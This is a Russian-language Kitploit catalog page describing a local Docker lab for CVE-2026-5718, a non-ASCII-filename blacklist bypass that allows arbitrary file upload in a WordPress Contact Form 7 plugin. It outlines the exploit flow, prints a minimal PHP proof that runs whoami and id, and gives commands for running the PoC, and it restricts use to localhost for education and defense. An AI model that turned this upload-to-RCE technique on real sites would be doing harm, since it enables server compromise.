Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5718-Lab | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-5718-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-5718-lab

CVE-2026-5718-Lab

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Локальная Docker-лаборатория CVE-2026-5718

Локальная Docker-лаборатория, демонстрирующая уязвимую и пропатченную версии для CVE-2026-5718, затрагивающей плагин WordPress Drag and Drop Multiple File Upload for Contact Form 7.

Эта лаборатория демонстрирует разницу между уязвимой версией 1.3.9.6 и пропатченной версией 1.3.9.7 с помощью безвредного PHP-доказательства выполнения кода в среде, ограниченной только Docker.

Ограничение: только localhost / сеть Docker. Не используйте этот PoC против систем, которые вам не принадлежат или для тестирования которых у вас нет явного разрешения.


Краткое описание

CVE-2026-5718 — это уязвимость произвольной загрузки файлов в плагине Drag and Drop Multiple File Upload for Contact Form 7 до версии 1.3.9.6 включительно.

Проблема срабатывает, когда настроены пользовательские типы чёрного списка, а имя файла содержит не-ASCII символы. В уязвимой версии опасная загрузка файла .php может обойти предусмотренную защиту и остаться исполняемой. Версия 1.3.9.7 исправляет проблему, отклоняя такую же загрузку.

В этом репозитории запускаются два локальных сервиса WordPress:

  • vuln — на http://localhost:8081 с версией плагина 1.3.9.6
  • patched — на http://localhost:8082 с версией плагина 1.3.9.7

Архитектура лаборатории

root@kitploit:~
Хост
├── http://localhost:8081  -> уязвимый сервис WordPress
└── http://localhost:8082  -> пропатченный сервис WordPress

Сеть Docker
├── vuln
├── vuln-db
├── patched
└── patched-db

Структура репозитория

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Порядок срабатывания уязвимости

Предварительно настроенная форма Contact Form 7 содержит поле Drag and Drop Multiple File Upload:

root@kitploit:~
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]

PoC загружает PHP-файл доказательства с именем:

root@kitploit:~
proof-β.php

Символ β не входит в ASCII. Это важно, поскольку уязвимость зависит от обработки имён файлов с не-ASCII вводом.

Общая схема работы:

root@kitploit:~
PoC
 ↓
Получаем страницу лаборатории и извлекаем AJAX nonce DnD CF7
 ↓
Загружаем proof-β.php через wp-admin/admin-ajax.php
 ↓
Уязвимая версия 1.3.9.6 принимает и сохраняет файл как .php
 ↓
PoC запрашивает загруженный файл
 ↓
Уязвимая лаборатория выполняет PHP-доказательство от имени www-data

Схема работы пропатченной версии:

root@kitploit:~
PoC
 ↓
Загружаем тот же файл proof-β.php
 ↓
Пропатченная версия 1.3.9.7 отклоняет загрузку
 ↓
PHP-файл не сохраняется, и выполнения кода не происходит

Устройство локального RCE-доказательства

Загружаемое PHP-доказательство намеренно минимально:

root@kitploit:~
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

Доказательство выполняет только whoami и id, чтобы показать контекст выполнения. В нём не используются reverse shell, персистентность, доступ к учётным данным, перемещение по сети, сканирование сети или деструктивные действия.

Уязвимый сервис намеренно разрешает выполнение PHP в каталоге загрузок плагина, чтобы воздействие можно было наблюдать в этой локальной лаборатории. Пропатченный сервис сохраняет более безопасное поведение и отклоняет загрузку на уровне валидации приложения.


Требования

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Установка зависимостей Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

Сборка и запуск

Запуск с чистого состояния:

root@kitploit:~
docker compose down -v
docker compose up --build -d

Проверка статуса сервисов:

root@kitploit:~
docker compose ps

Откройте страницы лаборатории:

root@kitploit:~
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

Запуск PoC

Запуск против уязвимого сервиса:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8081

Запуск против пропатченного сервиса:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8082

PoC принимает только цели localhost или loopback.


Ожидаемый результат

Уязвимый сервис

Ожидаемое поведение:

  • Загрузка принимается.
  • Имя загруженного файла остаётся файлом .php.
  • Загруженное PHP-доказательство выполняется от имени пользователя веб-сервера.

Пример вывода:

root@kitploit:~
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

Пропатченный сервис

Ожидаемое поведение:

  • Такая же загрузка отклоняется.
  • PHP-доказательство не сохраняется как исполняемый файл.
  • Выполнения кода не происходит.

Пример вывода:

root@kitploit:~
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

Примечания по безопасности

Эта лаборатория намеренно ограничена локальным тестированием.

PoC:

  • блокирует цели, отличные от localhost,
  • не использует reverse shell,
  • не создаёт механизмов персистентности,
  • не считывает секреты,
  • не сканирует сети,
  • выполняет только whoami и id внутри уязвимого контейнера.

Уязвимый сервис ослабляет ограничения на выполнение PHP в каталоге загрузок только для того, чтобы локальное доказательство было наблюдаемым. Не переносите эту конфигурацию в продакшен.


Очистка

Остановка контейнеров:

root@kitploit:~
docker compose down

Удаление контейнеров и томов:

root@kitploit:~
docker compose down -v

Удаление виртуального окружения Python:

root@kitploit:~
rm -rf .venv

Ссылки

  • NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

  • Уведомление Patchstack: плагин WordPress Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 — неаутентифицированная произвольная загрузка файлов через обход чёрного списка с помощью не-ASCII имени файла https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

  • Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 — неаутентифицированная произвольная загрузка файлов через обход чёрного списка с помощью не-ASCII имени файла https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

  • База данных уведомлений GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

  • Страница плагина на WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

  • Страница поставщика плагина: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/


Отказ от ответственности

Этот репозиторий предназначен только для образовательных целей и исследований в области защитной безопасности. Он разработан для запуска только на localhost с использованием Docker. Не используйте PoC против публичных или сторонних систем.

Скачать инструмент
ServiceНазначениеПорт хостаВерсия
vulnУязвимая WordPress-лаборатория8081Плагин 1.3.9.6
patchedПропатченная WordPress-лаборатория8082Плагин 1.3.9.7
vuln-dbБаза MySQL для уязвимого сервисавнутреннийMySQL 8.0
patched-dbБаза MySQL для пропатченного сервисавнутреннийMySQL 8.0